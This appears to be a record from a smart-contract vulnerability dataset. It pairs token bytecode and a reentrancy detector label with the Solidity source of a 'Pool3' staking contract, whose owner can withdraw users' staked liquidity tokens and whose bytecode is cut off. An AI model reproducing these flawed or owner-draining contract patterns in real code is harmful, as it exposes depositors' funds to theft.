fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b60008060006006549050600066038d7ea4c6800090506128bf66038d7ea4c6800060065461259390919063ffffffff16565b8210156128dc5760065466038d7ea4c680009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206589cea44756973f9c3876616e29a2a87882a3de7cfb6339e8b8d229c6ac7d9964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,036
0x5f9802e54210a58fa1989283a351a219246d6875
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { admin = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(admin, newOwner); admin = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract Pool3 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfilend token contract address address public tokenAddress; address public liquiditytoken1; // reward rate % per year uint public rewardRate = 5000; uint public rewardInterval = 365 days; // staking fee percent uint public stakingFeeRate = 0; // unstaking fee percent uint public unstakingFeeRate = 0; // unstaking possible Time uint public PossibleUnstakeTime = 48 hours; uint public totalClaimedRewards = 0; uint private FundedTokens; bool public stakingStatus = false; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; /*=============================ADMINISTRATIVE FUNCTIONS ==================================*/ function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){ require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported"); tokenAddress = _tokenAddr; liquiditytoken1 = _liquidityAddr; } function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){ stakingFeeRate = _stakingFeeRate; unstakingFeeRate = _unstakingFeeRate; } function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){ rewardRate = _rewardRate; } function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){ FundedTokens = _poolreward; } function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){ PossibleUnstakeTime = _possibleUnstakeTime; } function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){ rewardInterval = _rewardInterval; } function allowStaking(bool _status) public onlyOwner returns(bool){ require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured"); stakingStatus = _status; } function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getFundedTokens()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } function updateAccount(address account) private { uint unclaimedDivs = getUnclaimedDivs(account); if (unclaimedDivs > 0) { require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs); totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs); emit RewardsTransferred(account, unclaimedDivs); } lastClaimedTime[account] = now; } function getUnclaimedDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint unclaimedDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return unclaimedDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function place(uint amountToStake) public { require(stakingStatus == true, "Staking is not yet initialized"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function lift(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee."); require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimYields() public { updateAccount(msg.sender); } function getFundedTokens() public view returns (uint) { if (totalClaimedRewards >= FundedTokens) { return 0; } uint remaining = FundedTokens.sub(totalClaimedRewards); return remaining; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080